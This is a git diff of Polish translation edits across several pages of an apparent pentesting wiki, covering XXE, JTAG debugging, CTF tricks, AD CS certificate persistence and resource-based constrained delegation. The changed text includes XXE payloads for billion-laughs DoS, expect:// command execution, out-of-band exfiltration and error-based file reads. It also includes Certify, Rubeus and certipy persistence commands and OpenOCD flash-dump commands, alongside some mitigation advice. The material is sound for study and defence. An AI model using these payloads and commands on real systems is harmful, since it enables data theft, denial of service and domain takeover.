||||
### DoS
|
||||
|
||||
#### Atak Miliona Śmiechów
|
||||
#### Atak Biliona Śmiechów
|
||||
```xml
|
||||
<!DOCTYPE data [
|
||||
<!ENTITY a0 "dos" >
|
||||
@ -334,7 +334,7 @@ Inna metoda polega na próbie **wykonywania poleceń** za pomocą wrappera PHP "
|
||||
<image xlink:href="expect://ls"></image>
|
||||
</svg>
|
||||
```
|
||||
W obu przypadkach format SVG jest używany do uruchamiania ataków, które wykorzystują możliwości przetwarzania XML oprogramowania serwera, co podkreśla potrzebę solidnej walidacji danych wejściowych i środków bezpieczeństwa.
|
||||
W obu przypadkach format SVG jest używany do uruchamiania ataków, które wykorzystują możliwości przetwarzania XML oprogramowania serwera, podkreślając potrzebę solidnej walidacji danych wejściowych i środków bezpieczeństwa.
|
||||
|
||||
Sprawdź [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) po więcej informacji!
|
||||
|
||||
@ -342,7 +342,7 @@ Sprawdź [https://portswigger.net/web-security/xxe](https://portswigger.net/web-
|
||||
|
||||
### **PDF - Przesyłanie plików**
|
||||
|
||||
Przeczytaj następujący post, aby **dowiedzieć się, jak wykorzystać XXE przesyłając plik PDF**:
|
||||
Przeczytaj następujący post, aby **dowiedzieć się, jak wykorzystać XXE do przesyłania pliku PDF**:
|
||||
|
||||
{{#ref}}
|
||||
file-upload/pdf-upload-xxe-and-cors-bypass.md
|
||||
@ -474,7 +474,7 @@ Przykład DTD:
|
||||
```
|
||||
## XLIFF - XXE
|
||||
|
||||
Ten przykład jest inspirowany [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
|
||||
Ten przykład jest inspirowany w [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
|
||||
|
||||
XLIFF (XML Localization Interchange File Format) jest wykorzystywany do standaryzacji wymiany danych w procesach lokalizacji. Jest to format oparty na XML, głównie używany do transferu danych lokalizacyjnych między narzędziami podczas lokalizacji oraz jako wspólny format wymiany dla narzędzi CAT (Computer-Aided Translation).
|
||||
|
||||
@ -492,7 +492,7 @@ Content-Type: application/x-xliff+xml
|
||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
Jednakże, to żądanie wywołuje błąd wewnętrznego serwera, szczególnie wspominając o problemie z deklaracjami znaczników:
|
||||
Jednakże, to żądanie wywołuje błąd wewnętrznego serwera, konkretnie wspominając o problemie z deklaracjami znaczników:
|
||||
```json
|
||||
{
|
||||
"status": 500,
|
||||
@ -500,9 +500,9 @@ Jednakże, to żądanie wywołuje błąd wewnętrznego serwera, szczególnie wsp
|
||||
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
|
||||
}
|
||||
```
|
||||
Mimo błędu, na Burp Collaborator rejestrowany jest traf, co wskazuje na pewien poziom interakcji z zewnętrznym bytem.
|
||||
Pomimo błędu, na Burp Collaborator rejestrowany jest traf, co wskazuje na pewien poziom interakcji z zewnętrzną jednostką.
|
||||
|
||||
Out of Band Data Exfiltration Aby wyeksfiltrować dane, wysyłane jest zmodyfikowane żądanie:
|
||||
Out of Band Data Exfiltration Aby wyekstrahować dane, wysyłane jest zmodyfikowane żądanie:
|
||||
```
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
||||
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
||||
@ -523,7 +523,7 @@ Ekstrakcja danych oparta na błędach Aby przezwyciężyć to ograniczenie, stos
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Serwer odpowiada błędem, co ważne, odzwierciedlając nieistniejący plik, wskazując, że serwer próbuje uzyskać dostęp do określonego pliku:
|
||||
Serwer odpowiada błędem, co ważne, odzwierciedlając nieistniejący plik, co wskazuje, że serwer próbuje uzyskać dostęp do określonego pliku:
|
||||
```javascript
|
||||
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
||||
```
|
||||
@ -689,7 +689,7 @@ https://github.com/luisfontes19/xxexploiter
|
||||
#### 1. Wykorzystywanie lxml < 5.4.0
|
||||
1. Zidentyfikuj lub stwórz *lokalny* DTD na dysku, który definiuje **niezdefiniowaną** encję parametru (np. `%config_hex;`).
|
||||
2. Stwórz wewnętrzny DTD, który:
|
||||
* Ładuje lokalny DTD za pomocą `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
|
||||
* Ładuje lokalny DTD z `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
|
||||
* Przedefiniowuje niezdefiniowaną encję, aby:
|
||||
- Odczytywała docelowy plik (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
|
||||
- Budowała inną encję parametru, która odnosi się do **nieprawidłowej ścieżki** zawierającej wartość `%flag;` i wywołuje błąd parsera (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
|
||||
@ -704,14 +704,14 @@ https://github.com/luisfontes19/xxexploiter
|
||||
%local_dtd;
|
||||
]>
|
||||
```
|
||||
Gdy aplikacja wyświetla wyjątek, odpowiedź zawiera:
|
||||
Kiedy aplikacja drukuje wyjątek, odpowiedź zawiera:
|
||||
```
|
||||
Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
```
|
||||
> [!TIP]
|
||||
> Jeśli parser zgłasza problemy z znakami `%`/`&` wewnątrz wewnętrznego podzbioru, podwójnie je koduj (`&#x25;` ⇒ `%`), aby opóźnić rozwinięcie.
|
||||
|
||||
#### 2. Obejście wzmocnienia lxml 5.4.0 (libxml2 wciąż podatny)
|
||||
#### 2. Ominięcie wzmocnienia lxml 5.4.0 (libxml2 wciąż podatny)
|
||||
`lxml` ≥ 5.4.0 zabrania *parametrów* błędów, takich jak ten powyżej, ale **libxml2** wciąż pozwala na ich osadzanie w *ogólnym* podmiocie. Sztuczka polega na:
|
||||
1. Wczytaniu pliku do podmiotu parametru `%file`.
|
||||
2. Zadeklarowaniu innego podmiotu parametru, który buduje **ogólny** podmiot `c`, którego identyfikator SYSTEM używa *nieistniejącego protokołu*, takiego jak `meow://%file;`.
|
||||
@ -728,11 +728,11 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
```
|
||||
#### Kluczowe wnioski
|
||||
* **Encje parametrów** są nadal rozwijane przez libxml2, nawet gdy `resolve_entities` powinno blokować XXE.
|
||||
* **Nieprawidłowy URI** lub **nieistniejący plik** wystarczą, aby połączyć kontrolowane dane z wyrzucanym wyjątkiem.
|
||||
* **Nieprawidłowy URI** lub **nieistniejący plik** wystarczą, aby połączyć kontrolowane dane w zgłoszonej wyjątku.
|
||||
* Technika działa **bez łączności wychodzącej**, co czyni ją idealną dla ściśle filtrowanych środowisk.
|
||||
|
||||
#### Wskazówki dotyczące łagodzenia
|
||||
* Zaktualizuj do **lxml ≥ 5.4.0** i upewnij się, że używana **libxml2** jest **≥ 2.13.8**.
|
||||
* Zaktualizuj do **lxml ≥ 5.4.0** i upewnij się, że podstawowy **libxml2** jest **≥ 2.13.8**.
|
||||
* Wyłącz `load_dtd` i/lub `resolve_entities`, chyba że jest to absolutnie konieczne.
|
||||
* Unikaj zwracania surowych błędów parsera do klienta.
|
||||
|
||||
@ -763,16 +763,16 @@ dbf.setExpandEntityReferences(false);
|
||||
|
||||
DocumentBuilder builder = dbf.newDocumentBuilder();
|
||||
```
|
||||
Jeśli aplikacja musi wewnętrznie obsługiwać DTD, pozostaw `disallow-doctype-decl` wyłączony, ale **zawsze** ustawiaj dwa `external-*-entities` na `false`. Ta kombinacja zapobiega klasycznym atakom ujawnienia plików (`file:///etc/passwd`) oraz wektorom SSRF opartym na sieci (`http://169.254.169.254/…`, protokół `jar:`, itp.).
|
||||
Jeśli aplikacja musi wewnętrznie obsługiwać DTD, pozostaw `disallow-doctype-decl` wyłączony, ale **zawsze** ustawiaj dwa `external-*-entities` na `false`. Ta kombinacja zapobiega klasycznym ładunkom ujawniającym pliki (`file:///etc/passwd`) oraz wektorom SSRF opartym na sieci (`http://169.254.169.254/…`, protokół `jar:`, itp.).
|
||||
|
||||
Studium przypadku z rzeczywistego świata: **CVE-2025-27136** w emulatorze Java S3 *LocalS3* używał podatnego konstruktora pokazane powyżej. Nieautoryzowany atakujący mógł dostarczyć spreparowane ciało XML do punktu końcowego `CreateBucketConfiguration` i sprawić, że serwer osadzi lokalne pliki (na przykład `/etc/passwd`) w odpowiedzi HTTP.
|
||||
|
||||
### XXE w JMF/Usługach Orkiestracji Druku → SSRF
|
||||
|
||||
Niektóre platformy orkiestracji/robocze przepływy druku udostępniają nasłuchujący format wiadomości zadań (JMF), który akceptuje XML przez TCP. Jeśli podstawowy parser akceptuje `DOCTYPE` i rozwiązuje zewnętrzne encje, możesz wykorzystać klasyczne XXE, aby zmusić serwer do wykonywania zewnętrznych żądań (SSRF) lub uzyskiwania dostępu do lokalnych zasobów.
|
||||
Niektóre platformy do zarządzania przepływem pracy/orkiestracją druku udostępniają nasłuchujący na sieci format wiadomości zadań (JMF), który akceptuje XML przez TCP. Jeśli podstawowy parser akceptuje `DOCTYPE` i rozwiązuje zewnętrzne encje, możesz wykorzystać klasyczne XXE, aby zmusić serwer do wykonywania zewnętrznych żądań (SSRF) lub uzyskiwania dostępu do lokalnych zasobów.
|
||||
|
||||
Kluczowe punkty zaobserwowane w terenie:
|
||||
- Nasłuchujący port sieciowy (np. klient JMF) na dedykowanym porcie (zwykle 4004 w Xerox FreeFlow Core).
|
||||
- Nasłuchujący na sieci (np. klient JMF) na dedykowanym porcie (zwykle 4004 w Xerox FreeFlow Core).
|
||||
- Parsowanie XML oparte na Javie wewnątrz pliku jar (np. `jmfclient.jar`) bez wyłączonego `disallow-doctype-decl` lub rozwiązywania encji.
|
||||
- Wywołania poza pasmem niezawodnie potwierdzają wykorzystanie.
|
||||
|
||||
@ -787,9 +787,9 @@ Minimalny próbnik SSRF w stylu JMF (struktura różni się w zależności od pr
|
||||
</JMF>
|
||||
```
|
||||
Notatki:
|
||||
- Zastąp adres URL encji swoim współpracownikiem. Jeśli SSRF jest możliwe, serwer rozwiąże go podczas parsowania wiadomości.
|
||||
- Zastąp adres URL encji swoim współpracownikiem. Jeśli SSRF jest możliwe, serwer rozwiąże go podczas analizowania wiadomości.
|
||||
- Utrudnienia, na które należy zwrócić uwagę: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`.
|
||||
- Nawet gdy port JMF nie serwuje plików, SSRF można łączyć w celu wewnętrznego rozpoznania lub dotarcia do interfejsów API zarządzania związanych z localhost.
|
||||
- Nawet jeśli port JMF nie serwuje plików, SSRF można łączyć w celu wewnętrznego rozpoznania lub dotarcia do interfejsów API zarządzania związanych z localhost.
|
||||
|
||||
Odnośniki do tego wektora są wymienione na końcu strony.
|
||||
|
||||
|
@ -13,12 +13,12 @@ README.md
|
||||
- Arduino: podłącz cyfrowe piny D2–D11 do maksymalnie 10 podejrzewanych padów/testpointów JTAG, a GND Arduino do GND celu. Zasilaj cel osobno, chyba że wiesz, że szyna jest bezpieczna. Preferuj logikę 3.3 V (np. Arduino Due) lub użyj konwertera poziomów/oporników szeregowych przy badaniu celów 1.8–3.3 V.
|
||||
- Raspberry Pi: budowa Pi udostępnia mniej użytecznych GPIO (więc skany są wolniejsze); sprawdź repozytorium, aby uzyskać aktualną mapę pinów i ograniczenia.
|
||||
|
||||
Po załadowaniu, otwórz monitor szeregowy przy 115200 baud i wyślij `h` po pomoc. Typowy przebieg:
|
||||
Po wgraniu, otwórz monitor szeregowy na 115200 baud i wyślij `h` po pomoc. Typowy przepływ:
|
||||
|
||||
- `l` znajdź pętle, aby uniknąć fałszywych pozytywów
|
||||
- `r` przełącz wewnętrzne pull-upy, jeśli to konieczne
|
||||
- `s` skanowanie TCK/TMS/TDI/TDO (a czasami TRST/SRST)
|
||||
- `y` brute-force IR, aby odkryć nieudokumentowane opcodes
|
||||
- `y` brute-force IR, aby odkryć nieudokumentowane opkody
|
||||
- `x` zrzut stanu pinów w boundary-scan
|
||||
|
||||
.png>)
|
||||
@ -27,12 +27,10 @@ Po załadowaniu, otwórz monitor szeregowy przy 115200 baud i wyślij `h` po pom
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
|
||||
Jeśli znajdziesz ważny TAP, zobaczysz linie zaczynające się od `FOUND!`, wskazujące odkryte piny.
|
||||
|
||||
Wskazówki
|
||||
- Zawsze dziel się masą i nigdy nie podnoś nieznanych pinów powyżej Vtref celu. W razie wątpliwości, dodaj oporniki szeregowe 100–470 Ω na pinach kandydujących.
|
||||
- Zawsze dziel wspólną masę i nigdy nie podnoś nieznanych pinów powyżej Vtref celu. W razie wątpliwości, dodaj oporniki szeregowe 100–470 Ω na pinach kandydujących.
|
||||
- Jeśli urządzenie używa SWD/SWJ zamiast 4-przewodowego JTAG, JTAGenum może go nie wykryć; spróbuj narzędzi SWD lub adaptera, który obsługuje SWJ-DP.
|
||||
|
||||
## Bezpieczniejsze poszukiwanie pinów i konfiguracja sprzętowa
|
||||
@ -55,14 +53,12 @@ openocd -f interface/jlink.cfg -c "transport select jtag; adapter speed 1000" \
|
||||
openocd -f board/esp32s3-builtin.cfg -c "init; scan_chain; shutdown"
|
||||
```
|
||||
Notatki
|
||||
- Jeśli otrzymasz "wszystkie jedynki/zera" IDCODE, sprawdź okablowanie, zasilanie, Vtref oraz to, czy port nie jest zablokowany przez bezpieczniki/opcje bajtów.
|
||||
- Zobacz OpenOCD niskopoziomowe `irscan`/`drscan` dla ręcznej interakcji TAP przy uruchamianiu nieznanych łańcuchów.
|
||||
- Jeśli otrzymasz "wszystkie jedynki/zera" IDCODE, sprawdź okablowanie, zasilanie, Vtref oraz to, czy port nie jest zablokowany przez bezpieczniki/bajty opcji.
|
||||
- Zobacz OpenOCD niskopoziomowe `irscan`/`drscan` dla ręcznej interakcji TAP podczas uruchamiania nieznanych łańcuchów.
|
||||
|
||||
## Zatrzymywanie CPU i zrzut pamięci/flash
|
||||
|
||||
Gdy TAP zostanie rozpoznany i wybrany skrypt docelowy, możesz zatrzymać rdzeń i zrzucić obszary pamięci lub wewnętrzny flash. Przykłady (dostosuj cel, adresy bazowe i rozmiary):
|
||||
|
||||
- Ogólny cel po inicjalizacji:
|
||||
```
|
||||
openocd -f interface/jlink.cfg -f target/stm32f1x.cfg \
|
||||
-c "init; reset halt; mdw 0x08000000 4; dump_image flash.bin 0x08000000 0x00100000; shutdown"
|
||||
@ -79,11 +75,11 @@ openocd -f board/esp32s3-builtin.cfg \
|
||||
```
|
||||
Tips
|
||||
- Użyj `mdw/mdh/mdb`, aby sprawdzić pamięć przed długimi zrzutami.
|
||||
- W przypadku łańcuchów z wieloma urządzeniami, ustaw BYPASS na niecelach lub użyj pliku płyty, który definiuje wszystkie TAP-y.
|
||||
- W przypadku łańcuchów z wieloma urządzeniami, ustaw BYPASS na niecelach lub użyj pliku płyty, który definiuje wszystkie TAPy.
|
||||
|
||||
## Sztuczki z boundary-scan (EXTEST/SAMPLE)
|
||||
|
||||
Nawet gdy dostęp do debugowania CPU jest zablokowany, boundary-scan może być nadal dostępny. Z UrJTAG/OpenOCD możesz:
|
||||
Nawet gdy dostęp debugowania CPU jest zablokowany, boundary-scan może być nadal dostępny. Z UrJTAG/OpenOCD możesz:
|
||||
- SAMPLE, aby uchwycić stany pinów podczas działania systemu (znaleźć aktywność magistrali, potwierdzić mapowanie pinów).
|
||||
- EXTEST, aby sterować pinami (np. bit-bang zewnętrzne linie SPI flash za pośrednictwem MCU, aby odczytać je offline, jeśli okablowanie płyty na to pozwala).
|
||||
|
||||
|
@ -1,58 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
W odpowiedzi ping TTL:\
|
||||
127 = Windows\
|
||||
254 = Cisco\
|
||||
Reszta, jakiś linux
|
||||
|
||||
$1$- md5\
|
||||
$2$lub $2a$ - Blowfish\
|
||||
$5$- sha256\
|
||||
$6$- sha512
|
||||
|
||||
Jeśli nie wiesz, co kryje się za usługą, spróbuj wykonać żądanie HTTP GET.
|
||||
|
||||
**Skanowanie UDP**\
|
||||
nc -nv -u -z -w 1 \<IP> 160-16
|
||||
|
||||
Pusty pakiet UDP jest wysyłany do konkretnego portu. Jeśli port UDP jest otwarty, nie zostaje wysłana odpowiedź z maszyny docelowej. Jeśli port UDP jest zamknięty, z maszyny docelowej powinien zostać wysłany pakiet ICMP informujący o niedostępności portu.\
|
||||
|
||||
Skanowanie portów UDP jest często niewiarygodne, ponieważ zapory sieciowe i routery mogą odrzucać pakiety ICMP.\
|
||||
Może to prowadzić do fałszywych pozytywów w twoim skanowaniu, a ty regularnie zobaczysz,\
|
||||
że skanowanie portów UDP pokazuje wszystkie porty UDP jako otwarte na skanowanej maszynie.\
|
||||
Większość skanerów portów nie skanuje wszystkich dostępnych portów i zazwyczaj ma wstępnie ustawioną listę\
|
||||
„interesujących portów”, które są skanowane.
|
||||
|
||||
# CTF - Sztuczki
|
||||
|
||||
W **Windows** użyj **Winzip**, aby wyszukać pliki.\
|
||||
**Alternatywne strumienie danych**: _dir /r | find ":$DATA"_\
|
||||
```
|
||||
binwalk --dd=".*" <file> #Extract everything
|
||||
binwalk -M -e -d=10000 suspicious.pdf #Extract, look inside extracted files and continue extracing (depth of 10000)
|
||||
```
|
||||
## Crypto
|
||||
|
||||
**featherduster**\
|
||||
|
||||
**Basae64**(6—>8) —> 0...9, a...z, A…Z,+,/\
|
||||
**Base32**(5 —>8) —> A…Z, 2…7\
|
||||
**Base85** (Ascii85, 7—>8) —> 0...9, a...z, A...Z, ., -, :, +, =, ^, !, /, \*, ?, &, <, >, (, ), \[, ], {, }, @, %, $, #\
|
||||
**Uuencode** --> Zacznij od "_begin \<mode> \<filename>_" i dziwnych znaków\
|
||||
**Xxencoding** --> Zacznij od "_begin \<mode> \<filename>_" i B64\
|
||||
\
|
||||
**Vigenere** (analiza częstotliwości) —> [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)\
|
||||
**Scytale** (przesunięcie znaków) —> [https://www.dcode.fr/scytale-cipher](https://www.dcode.fr/scytale-cipher)
|
||||
|
||||
**25x25 = QR**
|
||||
|
||||
factordb.com\
|
||||
rsatool
|
||||
|
||||
Snow --> Ukryj wiadomości używając spacji i tabulatorów
|
||||
|
||||
# Characters
|
||||
|
||||
%E2%80%AE => Znak RTL (pisze ładunki odwrotnie)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -44,9 +44,9 @@ Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /mach
|
||||
# Authenticate as the machine using the issued PFX
|
||||
Rubeus.exe asktgt /user:HOSTNAME$ /certificate:C:\Temp\host.pfx /password:Passw0rd! /ptt
|
||||
```
|
||||
## Extending Persistence Through Certificate Renewal - PERSIST3
|
||||
## Rozszerzanie trwałości przez odnawianie certyfikatów - PERSIST3
|
||||
|
||||
Wykorzystanie okresów ważności i odnowienia szablonów certyfikatów pozwala atakującemu na utrzymanie długoterminowego dostępu. Jeśli posiadasz wcześniej wydany certyfikat i jego klucz prywatny, możesz go odnowić przed wygaśnięciem, aby uzyskać nowy, długoterminowy identyfikator bez pozostawiania dodatkowych artefaktów żądania związanych z oryginalnym podmiotem.
|
||||
Wykorzystanie okresów ważności i odnawiania szablonów certyfikatów pozwala atakującemu na utrzymanie długoterminowego dostępu. Jeśli posiadasz wcześniej wydany certyfikat i jego klucz prywatny, możesz go odnowić przed wygaśnięciem, aby uzyskać nowy, długoterminowy identyfikator bez pozostawiania dodatkowych artefaktów żądania związanych z oryginalnym podmiotem.
|
||||
```bash
|
||||
# Renewal with Certipy (works with RPC/DCOM/WebEnrollment)
|
||||
# Provide the existing PFX and target the same CA/template when possible
|
||||
@ -57,7 +57,7 @@ certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
|
||||
# (use the serial/thumbprint of the cert to renew; reusekeys preserves the keypair)
|
||||
certreq -enroll -user -cert <SerialOrID> renew [reusekeys]
|
||||
```
|
||||
> Wskazówka operacyjna: Śledź czas trwania plików PFX posiadanych przez atakującego i odnawiaj je wcześnie. Odnowienie może również spowodować, że zaktualizowane certyfikaty będą zawierać nowoczesne rozszerzenie mapowania SID, co pozwoli na ich użycie zgodnie z surowszymi zasadami mapowania DC (patrz następna sekcja).
|
||||
> Wskazówka operacyjna: Śledź czas trwania plików PFX posiadanych przez atakującego i odnawiaj je wcześnie. Odnowienie może również spowodować, że zaktualizowane certyfikaty będą zawierać nowoczesne rozszerzenie mapowania SID, co pozwala na ich użycie zgodnie z surowszymi zasadami mapowania DC (patrz następna sekcja).
|
||||
|
||||
## Sadzenie jawnych mapowań certyfikatów (altSecurityIdentities) – PERSIST4
|
||||
|
||||
@ -65,9 +65,9 @@ Jeśli możesz zapisać do atrybutu `altSecurityIdentities` docelowego konta, mo
|
||||
|
||||
Ogólny przebieg:
|
||||
|
||||
1. Uzyskaj lub wydaj certyfikat klienta, który kontrolujesz (np. zarejestruj szablon `User` jako siebie).
|
||||
1. Uzyskaj lub wydaj certyfikat uwierzytelniający klienta, który kontrolujesz (np. zarejestruj szablon `User` jako siebie).
|
||||
2. Wyodrębnij silny identyfikator z certyfikatu (Issuer+Serial, SKI lub SHA1-PublicKey).
|
||||
3. Dodaj jawne mapowanie na `altSecurityIdentities` głównego użytkownika ofiary, używając tego identyfikatora.
|
||||
3. Dodaj jawne mapowanie do `altSecurityIdentities` głównego użytkownika ofiary, używając tego identyfikatora.
|
||||
4. Uwierzytelnij się za pomocą swojego certyfikatu; DC mapuje go do ofiary za pomocą jawnego mapowania.
|
||||
|
||||
Przykład (PowerShell) używając silnego mapowania Issuer+Serial:
|
||||
@ -84,19 +84,19 @@ Następnie uwierzytelnij się za pomocą swojego PFX. Certipy uzyska TGT bezpoś
|
||||
```bash
|
||||
certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10
|
||||
```
|
||||
Notatki
|
||||
Notes
|
||||
- Używaj tylko silnych typów mapowania: X509IssuerSerialNumber, X509SKI lub X509SHA1PublicKey. Słabe formaty (Subject/Issuer, Subject-only, RFC822 email) są przestarzałe i mogą być blokowane przez politykę DC.
|
||||
- Łańcuch certyfikatów musi prowadzić do zaufanego korzenia przez DC. CAs przedsiębiorstw w NTAuth są zazwyczaj zaufane; niektóre środowiska również ufają publicznym CAs.
|
||||
|
||||
Aby uzyskać więcej informacji na temat słabych jawnych mapowań i ścieżek ataku, zobacz:
|
||||
For more on weak explicit mappings and attack paths, see:
|
||||
|
||||
{{#ref}}
|
||||
domain-escalation.md
|
||||
{{#endref}}
|
||||
|
||||
## Agent rejestracji jako trwałość – PERSIST5
|
||||
## Enrollment Agent as Persistence – PERSIST5
|
||||
|
||||
Jeśli uzyskasz ważny certyfikat Agenta Żądania Certyfikatu/Agenta Rejestracji, możesz w dowolnym momencie tworzyć nowe certyfikaty umożliwiające logowanie w imieniu użytkowników i przechowywać agenta PFX offline jako token trwałości. Workflow nadużycia:
|
||||
If you obtain a valid Certificate Request Agent/Enrollment Agent certificate, you can mint new logon-capable certificates on behalf of users at will and keep the agent PFX offline as a persistence token. Abuse workflow:
|
||||
```bash
|
||||
# Request an Enrollment Agent cert (requires template rights)
|
||||
Certify.exe request /ca:CA-SERVER\CA-NAME /template:"Certificate Request Agent"
|
||||
@ -115,7 +115,7 @@ Unieważnienie certyfikatu agenta lub uprawnień szablonu jest wymagane do usuni
|
||||
|
||||
Microsoft KB5014754 wprowadził silne egzekwowanie mapowania certyfikatów na kontrolerach domeny. Od 11 lutego 2025 r. kontrolery domeny domyślnie stosują pełne egzekwowanie, odrzucając słabe/niejednoznaczne mapowania. Praktyczne implikacje:
|
||||
|
||||
- Certyfikaty sprzed 2022 roku, które nie mają rozszerzenia mapowania SID, mogą nie przejść mapowania domyślnego, gdy kontrolery domeny są w pełnym egzekwowaniu. Atakujący mogą utrzymać dostęp, odnawiając certyfikaty przez AD CS (aby uzyskać rozszerzenie SID) lub sadząc silne jawne mapowanie w `altSecurityIdentities` (PERSIST4).
|
||||
- Certyfikaty sprzed 2022 roku, które nie mają rozszerzenia mapowania SID, mogą nie działać w przypadku mapowania domyślnego, gdy kontrolery domeny są w pełnym egzekwowaniu. Atakujący mogą utrzymać dostęp, odnawiając certyfikaty przez AD CS (aby uzyskać rozszerzenie SID) lub sadząc silne jawne mapowanie w `altSecurityIdentities` (PERSIST4).
|
||||
- Jawne mapowania używające silnych formatów (Issuer+Serial, SKI, SHA1-PublicKey) nadal działają. Słabe formaty (Issuer/Subject, Subject-only, RFC822) mogą być blokowane i powinny być unikać dla persystencji.
|
||||
|
||||
Administratorzy powinni monitorować i ostrzegać o:
|
||||
@ -126,7 +126,7 @@ Administratorzy powinni monitorować i ostrzegać o:
|
||||
|
||||
- Microsoft. KB5014754: Zmiany w uwierzytelnianiu opartym na certyfikatach na kontrolerach domeny Windows (harmonogram egzekwowania i silne mapowania).
|
||||
https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
- Certipy Wiki – Odniesienie do poleceń (`req -renew`, `auth`, `shadow`).
|
||||
- Certipy Wiki – Referencja poleceń (`req -renew`, `auth`, `shadow`).
|
||||
https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -5,9 +5,9 @@
|
||||
|
||||
## Podstawy Delegacji Ograniczonej na Bazie Zasobów
|
||||
|
||||
To jest podobne do podstawowej [Delegacji Ograniczonej](constrained-delegation.md), ale **zamiast** nadawania uprawnień do **obiektu**, aby **podszywać się pod dowolnego użytkownika na maszynie**, Delegacja Ograniczona na Bazie Zasobów **ustawia** w **obiecie, kto może podszywać się pod dowolnego użytkownika wobec niego**.
|
||||
To jest podobne do podstawowej [Delegacji Ograniczonej](constrained-delegation.md), ale **zamiast** nadawania uprawnień do **obiektu**, aby **podszywać się pod dowolnego użytkownika na maszynie**. Delegacja Ograniczona na Bazie Zasobów **ustawia** w **obiecie, kto może podszywać się pod dowolnego użytkownika wobec niego**.
|
||||
|
||||
W tym przypadku, ograniczony obiekt będzie miał atrybut _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ z nazwą użytkownika, który może podszywać się pod dowolnego innego użytkownika wobec niego.
|
||||
W tym przypadku, ograniczony obiekt będzie miał atrybut o nazwie _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ z nazwą użytkownika, który może podszywać się pod dowolnego innego użytkownika wobec niego.
|
||||
|
||||
Inną ważną różnicą między tą Delegacją Ograniczoną a innymi delegacjami jest to, że każdy użytkownik z **uprawnieniami do zapisu nad kontem maszyny** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) może ustawić **_msDS-AllowedToActOnBehalfOfOtherIdentity_** (W innych formach Delegacji potrzebne były uprawnienia administratora domeny).
|
||||
|
||||
@ -16,21 +16,21 @@ Inną ważną różnicą między tą Delegacją Ograniczoną a innymi delegacjam
|
||||
W Delegacji Ograniczonej powiedziano, że flaga **`TrustedToAuthForDelegation`** w wartości _userAccountControl_ użytkownika jest potrzebna do wykonania **S4U2Self.** Ale to nie jest całkowita prawda.\
|
||||
Rzeczywistość jest taka, że nawet bez tej wartości, możesz wykonać **S4U2Self** wobec dowolnego użytkownika, jeśli jesteś **usługą** (masz SPN), ale jeśli **masz `TrustedToAuthForDelegation`**, zwrócony TGS będzie **Forwardable**, a jeśli **nie masz** tej flagi, zwrócony TGS **nie będzie** **Forwardable**.
|
||||
|
||||
Jednakże, jeśli **TGS** użyty w **S4U2Proxy** **NIE jest Forwardable**, próba nadużycia **podstawowej Delegacji Ograniczonej** **nie zadziała**. Ale jeśli próbujesz wykorzystać **Delegację Ograniczoną na Bazie Zasobów, to zadziała**.
|
||||
Jednakże, jeśli **TGS** użyty w **S4U2Proxy** **NIE jest Forwardable**, próba nadużycia **podstawowej Delegacji Ograniczonej** **nie zadziała**. Ale jeśli próbujesz wykorzystać **delegację ograniczoną na bazie zasobów, to zadziała**.
|
||||
|
||||
### Struktura Ataku
|
||||
|
||||
> Jeśli masz **uprawnienia równoważne do zapisu** nad kontem **Komputera**, możesz uzyskać **uprzywilejowany dostęp** do tej maszyny.
|
||||
|
||||
Załóżmy, że atakujący już ma **uprawnienia równoważne do zapisu nad komputerem ofiary**.
|
||||
Załóżmy, że atakujący ma już **uprawnienia równoważne do zapisu nad komputerem ofiary**.
|
||||
|
||||
1. Atakujący **kompromituje** konto, które ma **SPN** lub **tworzy jedno** (“Usługa A”). Zauważ, że **jakikolwiek** _Użytkownik Administrator_ bez żadnych innych specjalnych uprawnień może **utworzyć** do 10 obiektów Komputerów (**_MachineAccountQuota_**) i ustawić im **SPN**. Więc atakujący może po prostu stworzyć obiekt Komputera i ustawić SPN.
|
||||
2. Atakujący **nadużywa swojego uprawnienia ZAPISU** nad komputerem ofiary (Usługa B), aby skonfigurować **delegację ograniczoną na bazie zasobów, aby pozwolić Usłudze A na podszywanie się pod dowolnego użytkownika** wobec tego komputera ofiary (Usługa B).
|
||||
